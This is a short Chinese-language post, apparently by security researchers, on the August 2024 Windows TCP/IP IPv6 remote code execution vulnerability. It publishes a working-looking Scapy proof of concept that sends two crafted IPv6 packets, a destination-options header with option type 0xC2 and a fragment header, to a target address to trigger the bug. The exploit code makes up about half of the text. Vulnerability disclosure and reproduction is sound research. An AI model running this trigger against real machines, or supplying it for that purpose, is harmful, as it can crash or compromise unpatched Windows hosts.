2024年8月,微软发布了针对Windows TCP/IP远程代码执行(RCE)漏洞的补丁。一些研究人员已经发布了该漏洞的概念验证(PoC),与此同时,PatchPoint的研究人员也完成了对该问题的分析和复现。由于包括Twitter在内的多个平台上存在错误信息的传播,触发该漏洞所需的关键点似乎被误解了。与这些不准确的信息相反,我们决定发布一个PoC,演示如何仅通过发送两个数据包即可触发该漏洞。实际上,触发该漏洞并不需要大量的数据包。
from scapy.all import *
IPAddr = '' # fe80::XXXX:XXXX:XXXX:XXXX
MACAddr = '' # XX:XX:XX:XX:XX:XX
ExtHdrDestOpt = Ether(dst=MACAddr) / IPv6(fl=1, dst=IPAddr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0xC2)])
ExtHdrFragment = Ether(dst=MACAddr) / IPv6(fl=1, dst=IPAddr) / IPv6ExtHdrFragment()
sendp([ExtHdrDestOpt, ExtHdrFragment], verbose=False)

※ 触发该漏洞需要等待约60秒